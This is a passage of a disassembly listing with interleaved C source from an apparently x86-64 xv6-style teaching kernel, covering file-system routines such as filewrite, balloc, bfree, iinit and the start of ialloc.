ffff800000101f56: 0f b6 40 09 movzbl 0x9(%rax),%eax
ffff800000101f5a: 84 c0 test %al,%al
ffff800000101f5c: 75 0a jne ffff800000101f68 <filewrite+0x2d>
return -1;
ffff800000101f5e: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000101f63: e9 67 01 00 00 jmpq ffff8000001020cf <filewrite+0x194>
if(f->type == FD_PIPE)
ffff800000101f68: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101f6c: 8b 00 mov (%rax),%eax
ffff800000101f6e: 83 f8 01 cmp $0x1,%eax
ffff800000101f71: 75 26 jne ffff800000101f99 <filewrite+0x5e>
return pipewrite(f->pipe, addr, n);
ffff800000101f73: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101f77: 48 8b 40 10 mov 0x10(%rax),%rax
ffff800000101f7b: 8b 55 dc mov -0x24(%rbp),%edx
ffff800000101f7e: 48 8b 4d e0 mov -0x20(%rbp),%rcx
ffff800000101f82: 48 89 ce mov %rcx,%rsi
ffff800000101f85: 48 89 c7 mov %rax,%rdi
ffff800000101f88: 48 b8 8e 62 10 00 00 movabs $0xffff80000010628e,%rax
ffff800000101f8f: 80 ff ff
ffff800000101f92: ff d0 callq *%rax
ffff800000101f94: e9 36 01 00 00 jmpq ffff8000001020cf <filewrite+0x194>
if(f->type == FD_INODE){
ffff800000101f99: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101f9d: 8b 00 mov (%rax),%eax
ffff800000101f9f: 83 f8 02 cmp $0x2,%eax
ffff800000101fa2: 0f 85 11 01 00 00 jne ffff8000001020b9 <filewrite+0x17e>
// the maximum log transaction size, including
// i-node, indirect block, allocation blocks,
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
ffff800000101fa8: c7 45 f4 00 1a 00 00 movl $0x1a00,-0xc(%rbp)
int i = 0;
ffff800000101faf: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
while(i < n){
ffff800000101fb6: e9 db 00 00 00 jmpq ffff800000102096 <filewrite+0x15b>
int n1 = n - i;
ffff800000101fbb: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000101fbe: 2b 45 fc sub -0x4(%rbp),%eax
ffff800000101fc1: 89 45 f8 mov %eax,-0x8(%rbp)
if(n1 > max)
ffff800000101fc4: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000101fc7: 3b 45 f4 cmp -0xc(%rbp),%eax
ffff800000101fca: 7e 06 jle ffff800000101fd2 <filewrite+0x97>
n1 = max;
ffff800000101fcc: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000101fcf: 89 45 f8 mov %eax,-0x8(%rbp)
begin_op();
ffff800000101fd2: b8 00 00 00 00 mov $0x0,%eax
ffff800000101fd7: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff800000101fde: 80 ff ff
ffff800000101fe1: ff d2 callq *%rdx
ilock(f->ip);
ffff800000101fe3: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101fe7: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000101feb: 48 89 c7 mov %rax,%rdi
ffff800000101fee: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000101ff5: 80 ff ff
ffff800000101ff8: ff d0 callq *%rax
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
ffff800000101ffa: 8b 4d f8 mov -0x8(%rbp),%ecx
ffff800000101ffd: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102001: 8b 50 20 mov 0x20(%rax),%edx
ffff800000102004: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000102007: 48 63 f0 movslq %eax,%rsi
ffff80000010200a: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010200e: 48 01 c6 add %rax,%rsi
ffff800000102011: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102015: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000102019: 48 89 c7 mov %rax,%rdi
ffff80000010201c: 48 b8 22 31 10 00 00 movabs $0xffff800000103122,%rax
ffff800000102023: 80 ff ff
ffff800000102026: ff d0 callq *%rax
ffff800000102028: 89 45 f0 mov %eax,-0x10(%rbp)
ffff80000010202b: 83 7d f0 00 cmpl $0x0,-0x10(%rbp)
ffff80000010202f: 7e 13 jle ffff800000102044 <filewrite+0x109>
f->off += r;
ffff800000102031: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102035: 8b 50 20 mov 0x20(%rax),%edx
ffff800000102038: 8b 45 f0 mov -0x10(%rbp),%eax
ffff80000010203b: 01 c2 add %eax,%edx
ffff80000010203d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102041: 89 50 20 mov %edx,0x20(%rax)
iunlock(f->ip);
ffff800000102044: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102048: 48 8b 40 18 mov 0x18(%rax),%rax
ffff80000010204c: 48 89 c7 mov %rax,%rdi
ffff80000010204f: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000102056: 80 ff ff
ffff800000102059: ff d0 callq *%rax
end_op();
ffff80000010205b: b8 00 00 00 00 mov $0x0,%eax
ffff800000102060: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000102067: 80 ff ff
ffff80000010206a: ff d2 callq *%rdx
if(r < 0)
ffff80000010206c: 83 7d f0 00 cmpl $0x0,-0x10(%rbp)
ffff800000102070: 78 32 js ffff8000001020a4 <filewrite+0x169>
break;
if(r != n1)
ffff800000102072: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000102075: 3b 45 f8 cmp -0x8(%rbp),%eax
ffff800000102078: 74 16 je ffff800000102090 <filewrite+0x155>
panic("short filewrite");
ffff80000010207a: 48 bf 3b c5 10 00 00 movabs $0xffff80000010c53b,%rdi
ffff800000102081: 80 ff ff
ffff800000102084: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010208b: 80 ff ff
ffff80000010208e: ff d0 callq *%rax
i += r;
ffff800000102090: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000102093: 01 45 fc add %eax,-0x4(%rbp)
while(i < n){
ffff800000102096: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000102099: 3b 45 dc cmp -0x24(%rbp),%eax
ffff80000010209c: 0f 8c 19 ff ff ff jl ffff800000101fbb <filewrite+0x80>
ffff8000001020a2: eb 01 jmp ffff8000001020a5 <filewrite+0x16a>
break;
ffff8000001020a4: 90 nop
}
return i == n ? n : -1;
ffff8000001020a5: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001020a8: 3b 45 dc cmp -0x24(%rbp),%eax
ffff8000001020ab: 75 05 jne ffff8000001020b2 <filewrite+0x177>
ffff8000001020ad: 8b 45 dc mov -0x24(%rbp),%eax
ffff8000001020b0: eb 1d jmp ffff8000001020cf <filewrite+0x194>
ffff8000001020b2: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001020b7: eb 16 jmp ffff8000001020cf <filewrite+0x194>
}
panic("filewrite");
ffff8000001020b9: 48 bf 4b c5 10 00 00 movabs $0xffff80000010c54b,%rdi
ffff8000001020c0: 80 ff ff
ffff8000001020c3: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001020ca: 80 ff ff
ffff8000001020cd: ff d0 callq *%rax
}
ffff8000001020cf: c9 leaveq
ffff8000001020d0: c3 retq
ffff8000001020d1 <readsb>:
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
ffff8000001020d1: f3 0f 1e fa endbr64
ffff8000001020d5: 55 push %rbp
ffff8000001020d6: 48 89 e5 mov %rsp,%rbp
ffff8000001020d9: 48 83 ec 20 sub $0x20,%rsp
ffff8000001020dd: 89 7d ec mov %edi,-0x14(%rbp)
ffff8000001020e0: 48 89 75 e0 mov %rsi,-0x20(%rbp)
struct buf *bp = bread(dev, 1);
ffff8000001020e4: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001020e7: be 01 00 00 00 mov $0x1,%esi
ffff8000001020ec: 89 c7 mov %eax,%edi
ffff8000001020ee: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff8000001020f5: 80 ff ff
ffff8000001020f8: ff d0 callq *%rax
ffff8000001020fa: 48 89 45 f8 mov %rax,-0x8(%rbp)
memmove(sb, bp->data, sizeof(*sb));
ffff8000001020fe: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102102: 48 8d 88 b0 00 00 00 lea 0xb0(%rax),%rcx
ffff800000102109: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010210d: ba 1c 00 00 00 mov $0x1c,%edx
ffff800000102112: 48 89 ce mov %rcx,%rsi
ffff800000102115: 48 89 c7 mov %rax,%rdi
ffff800000102118: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010211f: 80 ff ff
ffff800000102122: ff d0 callq *%rax
brelse(bp);
ffff800000102124: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102128: 48 89 c7 mov %rax,%rdi
ffff80000010212b: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102132: 80 ff ff
ffff800000102135: ff d0 callq *%rax
}
ffff800000102137: 90 nop
ffff800000102138: c9 leaveq
ffff800000102139: c3 retq
ffff80000010213a <bzero>:
// Zero a block.
static void
bzero(int dev, int bno)
{
ffff80000010213a: f3 0f 1e fa endbr64
ffff80000010213e: 55 push %rbp
ffff80000010213f: 48 89 e5 mov %rsp,%rbp
ffff800000102142: 48 83 ec 20 sub $0x20,%rsp
ffff800000102146: 89 7d ec mov %edi,-0x14(%rbp)
ffff800000102149: 89 75 e8 mov %esi,-0x18(%rbp)
struct buf *bp = bread(dev, bno);
ffff80000010214c: 8b 55 e8 mov -0x18(%rbp),%edx
ffff80000010214f: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000102152: 89 d6 mov %edx,%esi
ffff800000102154: 89 c7 mov %eax,%edi
ffff800000102156: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff80000010215d: 80 ff ff
ffff800000102160: ff d0 callq *%rax
ffff800000102162: 48 89 45 f8 mov %rax,-0x8(%rbp)
memset(bp->data, 0, BSIZE);
ffff800000102166: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010216a: 48 05 b0 00 00 00 add $0xb0,%rax
ffff800000102170: ba 00 02 00 00 mov $0x200,%edx
ffff800000102175: be 00 00 00 00 mov $0x0,%esi
ffff80000010217a: 48 89 c7 mov %rax,%rdi
ffff80000010217d: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff800000102184: 80 ff ff
ffff800000102187: ff d0 callq *%rax
log_write(bp);
ffff800000102189: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010218d: 48 89 c7 mov %rax,%rdi
ffff800000102190: 48 b8 21 56 10 00 00 movabs $0xffff800000105621,%rax
ffff800000102197: 80 ff ff
ffff80000010219a: ff d0 callq *%rax
brelse(bp);
ffff80000010219c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001021a0: 48 89 c7 mov %rax,%rdi
ffff8000001021a3: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001021aa: 80 ff ff
ffff8000001021ad: ff d0 callq *%rax
}
ffff8000001021af: 90 nop
ffff8000001021b0: c9 leaveq
ffff8000001021b1: c3 retq
ffff8000001021b2 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
ffff8000001021b2: f3 0f 1e fa endbr64
ffff8000001021b6: 55 push %rbp
ffff8000001021b7: 48 89 e5 mov %rsp,%rbp
ffff8000001021ba: 48 83 ec 30 sub $0x30,%rsp
ffff8000001021be: 89 7d dc mov %edi,-0x24(%rbp)
int b, bi, m;
struct buf *bp;
for(b = 0; b < sb.size; b += BPB){
ffff8000001021c1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001021c8: e9 52 01 00 00 jmpq ffff80000010231f <balloc+0x16d>
bp = bread(dev, BBLOCK(b, sb));
ffff8000001021cd: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001021d0: 8d 90 ff 0f 00 00 lea 0xfff(%rax),%edx
ffff8000001021d6: 85 c0 test %eax,%eax
ffff8000001021d8: 0f 48 c2 cmovs %edx,%eax
ffff8000001021db: c1 f8 0c sar $0xc,%eax
ffff8000001021de: 89 c2 mov %eax,%edx
ffff8000001021e0: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff8000001021e7: 80 ff ff
ffff8000001021ea: 8b 40 18 mov 0x18(%rax),%eax
ffff8000001021ed: 01 c2 add %eax,%edx
ffff8000001021ef: 8b 45 dc mov -0x24(%rbp),%eax
ffff8000001021f2: 89 d6 mov %edx,%esi
ffff8000001021f4: 89 c7 mov %eax,%edi
ffff8000001021f6: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff8000001021fd: 80 ff ff
ffff800000102200: ff d0 callq *%rax
ffff800000102202: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
ffff800000102206: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%rbp)
ffff80000010220d: e9 cc 00 00 00 jmpq ffff8000001022de <balloc+0x12c>
m = 1 << (bi % 8);
ffff800000102212: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000102215: 99 cltd
ffff800000102216: c1 ea 1d shr $0x1d,%edx
ffff800000102219: 01 d0 add %edx,%eax
ffff80000010221b: 83 e0 07 and $0x7,%eax
ffff80000010221e: 29 d0 sub %edx,%eax
ffff800000102220: ba 01 00 00 00 mov $0x1,%edx
ffff800000102225: 89 c1 mov %eax,%ecx
ffff800000102227: d3 e2 shl %cl,%edx
ffff800000102229: 89 d0 mov %edx,%eax
ffff80000010222b: 89 45 ec mov %eax,-0x14(%rbp)
if((bp->data[bi/8] & m) == 0){ // Is block free?
ffff80000010222e: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000102231: 8d 50 07 lea 0x7(%rax),%edx
ffff800000102234: 85 c0 test %eax,%eax
ffff800000102236: 0f 48 c2 cmovs %edx,%eax
ffff800000102239: c1 f8 03 sar $0x3,%eax
ffff80000010223c: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000102240: 48 98 cltq
ffff800000102242: 0f b6 84 02 b0 00 00 movzbl 0xb0(%rdx,%rax,1),%eax
ffff800000102249: 00
ffff80000010224a: 0f b6 c0 movzbl %al,%eax
ffff80000010224d: 23 45 ec and -0x14(%rbp),%eax
ffff800000102250: 85 c0 test %eax,%eax
ffff800000102252: 0f 85 82 00 00 00 jne ffff8000001022da <balloc+0x128>
bp->data[bi/8] |= m; // Mark block in use.
ffff800000102258: 8b 45 f8 mov -0x8(%rbp),%eax
ffff80000010225b: 8d 50 07 lea 0x7(%rax),%edx
ffff80000010225e: 85 c0 test %eax,%eax
ffff800000102260: 0f 48 c2 cmovs %edx,%eax
ffff800000102263: c1 f8 03 sar $0x3,%eax
ffff800000102266: 89 c1 mov %eax,%ecx
ffff800000102268: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff80000010226c: 48 63 c1 movslq %ecx,%rax
ffff80000010226f: 0f b6 84 02 b0 00 00 movzbl 0xb0(%rdx,%rax,1),%eax
ffff800000102276: 00
ffff800000102277: 89 c2 mov %eax,%edx
ffff800000102279: 8b 45 ec mov -0x14(%rbp),%eax
ffff80000010227c: 09 d0 or %edx,%eax
ffff80000010227e: 89 c6 mov %eax,%esi
ffff800000102280: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000102284: 48 63 c1 movslq %ecx,%rax
ffff800000102287: 40 88 b4 02 b0 00 00 mov %sil,0xb0(%rdx,%rax,1)
ffff80000010228e: 00
log_write(bp);
ffff80000010228f: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102293: 48 89 c7 mov %rax,%rdi
ffff800000102296: 48 b8 21 56 10 00 00 movabs $0xffff800000105621,%rax
ffff80000010229d: 80 ff ff
ffff8000001022a0: ff d0 callq *%rax
brelse(bp);
ffff8000001022a2: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001022a6: 48 89 c7 mov %rax,%rdi
ffff8000001022a9: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001022b0: 80 ff ff
ffff8000001022b3: ff d0 callq *%rax
bzero(dev, b + bi);
ffff8000001022b5: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001022b8: 8b 45 f8 mov -0x8(%rbp),%eax
ffff8000001022bb: 01 c2 add %eax,%edx
ffff8000001022bd: 8b 45 dc mov -0x24(%rbp),%eax
ffff8000001022c0: 89 d6 mov %edx,%esi
ffff8000001022c2: 89 c7 mov %eax,%edi
ffff8000001022c4: 48 b8 3a 21 10 00 00 movabs $0xffff80000010213a,%rax
ffff8000001022cb: 80 ff ff
ffff8000001022ce: ff d0 callq *%rax
return b + bi;
ffff8000001022d0: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001022d3: 8b 45 f8 mov -0x8(%rbp),%eax
ffff8000001022d6: 01 d0 add %edx,%eax
ffff8000001022d8: eb 72 jmp ffff80000010234c <balloc+0x19a>
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
ffff8000001022da: 83 45 f8 01 addl $0x1,-0x8(%rbp)
ffff8000001022de: 81 7d f8 ff 0f 00 00 cmpl $0xfff,-0x8(%rbp)
ffff8000001022e5: 7f 1e jg ffff800000102305 <balloc+0x153>
ffff8000001022e7: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001022ea: 8b 45 f8 mov -0x8(%rbp),%eax
ffff8000001022ed: 01 d0 add %edx,%eax
ffff8000001022ef: 89 c2 mov %eax,%edx
ffff8000001022f1: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff8000001022f8: 80 ff ff
ffff8000001022fb: 8b 00 mov (%rax),%eax
ffff8000001022fd: 39 c2 cmp %eax,%edx
ffff8000001022ff: 0f 82 0d ff ff ff jb ffff800000102212 <balloc+0x60>
}
}
brelse(bp);
ffff800000102305: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102309: 48 89 c7 mov %rax,%rdi
ffff80000010230c: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102313: 80 ff ff
ffff800000102316: ff d0 callq *%rax
for(b = 0; b < sb.size; b += BPB){
ffff800000102318: 81 45 fc 00 10 00 00 addl $0x1000,-0x4(%rbp)
ffff80000010231f: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff800000102326: 80 ff ff
ffff800000102329: 8b 10 mov (%rax),%edx
ffff80000010232b: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010232e: 39 c2 cmp %eax,%edx
ffff800000102330: 0f 87 97 fe ff ff ja ffff8000001021cd <balloc+0x1b>
}
panic("balloc: out of blocks");
ffff800000102336: 48 bf 55 c5 10 00 00 movabs $0xffff80000010c555,%rdi
ffff80000010233d: 80 ff ff
ffff800000102340: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000102347: 80 ff ff
ffff80000010234a: ff d0 callq *%rax
}
ffff80000010234c: c9 leaveq
ffff80000010234d: c3 retq
ffff80000010234e <bfree>:
// Free a disk block.
static void
bfree(int dev, uint b)
{
ffff80000010234e: f3 0f 1e fa endbr64
ffff800000102352: 55 push %rbp
ffff800000102353: 48 89 e5 mov %rsp,%rbp
ffff800000102356: 48 83 ec 20 sub $0x20,%rsp
ffff80000010235a: 89 7d ec mov %edi,-0x14(%rbp)
ffff80000010235d: 89 75 e8 mov %esi,-0x18(%rbp)
int bi, m;
readsb(dev, &sb);
ffff800000102360: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000102363: 48 be 00 46 11 00 00 movabs $0xffff800000114600,%rsi
ffff80000010236a: 80 ff ff
ffff80000010236d: 89 c7 mov %eax,%edi
ffff80000010236f: 48 b8 d1 20 10 00 00 movabs $0xffff8000001020d1,%rax
ffff800000102376: 80 ff ff
ffff800000102379: ff d0 callq *%rax
struct buf *bp = bread(dev, BBLOCK(b, sb));
ffff80000010237b: 8b 45 e8 mov -0x18(%rbp),%eax
ffff80000010237e: c1 e8 0c shr $0xc,%eax
ffff800000102381: 89 c2 mov %eax,%edx
ffff800000102383: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff80000010238a: 80 ff ff
ffff80000010238d: 8b 40 18 mov 0x18(%rax),%eax
ffff800000102390: 01 c2 add %eax,%edx
ffff800000102392: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000102395: 89 d6 mov %edx,%esi
ffff800000102397: 89 c7 mov %eax,%edi
ffff800000102399: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff8000001023a0: 80 ff ff
ffff8000001023a3: ff d0 callq *%rax
ffff8000001023a5: 48 89 45 f8 mov %rax,-0x8(%rbp)
bi = b % BPB;
ffff8000001023a9: 8b 45 e8 mov -0x18(%rbp),%eax
ffff8000001023ac: 25 ff 0f 00 00 and $0xfff,%eax
ffff8000001023b1: 89 45 f4 mov %eax,-0xc(%rbp)
m = 1 << (bi % 8);
ffff8000001023b4: 8b 45 f4 mov -0xc(%rbp),%eax
ffff8000001023b7: 99 cltd
ffff8000001023b8: c1 ea 1d shr $0x1d,%edx
ffff8000001023bb: 01 d0 add %edx,%eax
ffff8000001023bd: 83 e0 07 and $0x7,%eax
ffff8000001023c0: 29 d0 sub %edx,%eax
ffff8000001023c2: ba 01 00 00 00 mov $0x1,%edx
ffff8000001023c7: 89 c1 mov %eax,%ecx
ffff8000001023c9: d3 e2 shl %cl,%edx
ffff8000001023cb: 89 d0 mov %edx,%eax
ffff8000001023cd: 89 45 f0 mov %eax,-0x10(%rbp)
if((bp->data[bi/8] & m) == 0)
ffff8000001023d0: 8b 45 f4 mov -0xc(%rbp),%eax
ffff8000001023d3: 8d 50 07 lea 0x7(%rax),%edx
ffff8000001023d6: 85 c0 test %eax,%eax
ffff8000001023d8: 0f 48 c2 cmovs %edx,%eax
ffff8000001023db: c1 f8 03 sar $0x3,%eax
ffff8000001023de: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff8000001023e2: 48 98 cltq
ffff8000001023e4: 0f b6 84 02 b0 00 00 movzbl 0xb0(%rdx,%rax,1),%eax
ffff8000001023eb: 00
ffff8000001023ec: 0f b6 c0 movzbl %al,%eax
ffff8000001023ef: 23 45 f0 and -0x10(%rbp),%eax
ffff8000001023f2: 85 c0 test %eax,%eax
ffff8000001023f4: 75 16 jne ffff80000010240c <bfree+0xbe>
panic("freeing free block");
ffff8000001023f6: 48 bf 6b c5 10 00 00 movabs $0xffff80000010c56b,%rdi
ffff8000001023fd: 80 ff ff
ffff800000102400: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000102407: 80 ff ff
ffff80000010240a: ff d0 callq *%rax
bp->data[bi/8] &= ~m;
ffff80000010240c: 8b 45 f4 mov -0xc(%rbp),%eax
ffff80000010240f: 8d 50 07 lea 0x7(%rax),%edx
ffff800000102412: 85 c0 test %eax,%eax
ffff800000102414: 0f 48 c2 cmovs %edx,%eax
ffff800000102417: c1 f8 03 sar $0x3,%eax
ffff80000010241a: 89 c1 mov %eax,%ecx
ffff80000010241c: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000102420: 48 63 c1 movslq %ecx,%rax
ffff800000102423: 0f b6 84 02 b0 00 00 movzbl 0xb0(%rdx,%rax,1),%eax
ffff80000010242a: 00
ffff80000010242b: 89 c2 mov %eax,%edx
ffff80000010242d: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000102430: f7 d0 not %eax
ffff800000102432: 21 d0 and %edx,%eax
ffff800000102434: 89 c6 mov %eax,%esi
ffff800000102436: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010243a: 48 63 c1 movslq %ecx,%rax
ffff80000010243d: 40 88 b4 02 b0 00 00 mov %sil,0xb0(%rdx,%rax,1)
ffff800000102444: 00
log_write(bp);
ffff800000102445: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102449: 48 89 c7 mov %rax,%rdi
ffff80000010244c: 48 b8 21 56 10 00 00 movabs $0xffff800000105621,%rax
ffff800000102453: 80 ff ff
ffff800000102456: ff d0 callq *%rax
brelse(bp);
ffff800000102458: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010245c: 48 89 c7 mov %rax,%rdi
ffff80000010245f: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102466: 80 ff ff
ffff800000102469: ff d0 callq *%rax
}
ffff80000010246b: 90 nop
ffff80000010246c: c9 leaveq
ffff80000010246d: c3 retq
ffff80000010246e <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(int dev)
{
ffff80000010246e: f3 0f 1e fa endbr64
ffff800000102472: 55 push %rbp
ffff800000102473: 48 89 e5 mov %rsp,%rbp
ffff800000102476: 48 83 ec 20 sub $0x20,%rsp
ffff80000010247a: 89 7d ec mov %edi,-0x14(%rbp)
int i = 0;
ffff80000010247d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
initlock(&icache.lock, "icache");
ffff800000102484: 48 be 7e c5 10 00 00 movabs $0xffff80000010c57e,%rsi
ffff80000010248b: 80 ff ff
ffff80000010248e: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff800000102495: 80 ff ff
ffff800000102498: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff80000010249f: 80 ff ff
ffff8000001024a2: ff d0 callq *%rax
for(i = 0; i < NINODE; i++) {
ffff8000001024a4: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001024ab: eb 50 jmp ffff8000001024fd <iinit+0x8f>
initsleeplock(&icache.inode[i].lock, "inode");
ffff8000001024ad: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001024b0: 48 63 d0 movslq %eax,%rdx
ffff8000001024b3: 48 89 d0 mov %rdx,%rax
ffff8000001024b6: 48 01 c0 add %rax,%rax
ffff8000001024b9: 48 01 d0 add %rdx,%rax
ffff8000001024bc: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff8000001024c3: 00
ffff8000001024c4: 48 01 d0 add %rdx,%rax
ffff8000001024c7: 48 c1 e0 03 shl $0x3,%rax
ffff8000001024cb: 48 8d 50 70 lea 0x70(%rax),%rdx
ffff8000001024cf: 48 b8 20 46 11 00 00 movabs $0xffff800000114620,%rax
ffff8000001024d6: 80 ff ff
ffff8000001024d9: 48 01 d0 add %rdx,%rax
ffff8000001024dc: 48 83 c0 08 add $0x8,%rax
ffff8000001024e0: 48 be 85 c5 10 00 00 movabs $0xffff80000010c585,%rsi
ffff8000001024e7: 80 ff ff
ffff8000001024ea: 48 89 c7 mov %rax,%rdi
ffff8000001024ed: 48 b8 31 76 10 00 00 movabs $0xffff800000107631,%rax
ffff8000001024f4: 80 ff ff
ffff8000001024f7: ff d0 callq *%rax
for(i = 0; i < NINODE; i++) {
ffff8000001024f9: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001024fd: 83 7d fc 31 cmpl $0x31,-0x4(%rbp)
ffff800000102501: 7e aa jle ffff8000001024ad <iinit+0x3f>
}
readsb(dev, &sb);
ffff800000102503: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000102506: 48 be 00 46 11 00 00 movabs $0xffff800000114600,%rsi
ffff80000010250d: 80 ff ff
ffff800000102510: 89 c7 mov %eax,%edi
ffff800000102512: 48 b8 d1 20 10 00 00 movabs $0xffff8000001020d1,%rax
ffff800000102519: 80 ff ff
ffff80000010251c: ff d0 callq *%rax
/*cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
inodestart %d bmap start %d\n", sb.size, sb.nblocks,
sb.ninodes, sb.nlog, sb.logstart, sb.inodestart,
sb.bmapstart);*/
}
ffff80000010251e: 90 nop
ffff80000010251f: c9 leaveq
ffff800000102520: c3 retq
ffff800000102521 <ialloc>:
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
ffff800000102521: f3 0f 1e fa endbr64
ffff800000102525: 55 push %rbp
ffff800000102526: 48 89 e5 mov %rsp,%rbp
ffff800000102529: 48 83 ec 30 sub $0x30,%rsp
ffff80000010252d: 89 7d dc mov %edi,-0x24(%rbp)
ffff800000102530: 89 f0 mov %esi,%eax
ffff800000102532: 66 89 45 d8 mov %ax,-0x28(%rbp)
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
ffff800000102536: c7 45 fc 01 00 00 00 movl $0x1,-0x4(%rbp)
ffff80000010253d: e9 d8 00 00 00 jmpq ffff80000010261a <ialloc+0xf9>
bp = bread(dev, IBLOCK(inum, sb));
ffff800000102542: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000102545: 48 98 cltq
ffff800000102547: 48 c1 e8 03 shr $0x3,%rax
ffff80000010254b: 89 c2 mov %eax,%edx
ffff80000010254d: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff800000102554: 80 ff ff
ffff800000102557: 8b 40 14 mov 0x14(%rax),%eax
ffff80000010255a: 01 c2 add %eax,%edx
ffff80000010255c: 8b 45 dc mov -0x24(%rbp),%eax
ffff80000010255f: 89 d6 mov %edx,%esi
ffff800000102561: 89 c7 mov %eax,%edi
ffff800000102563: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
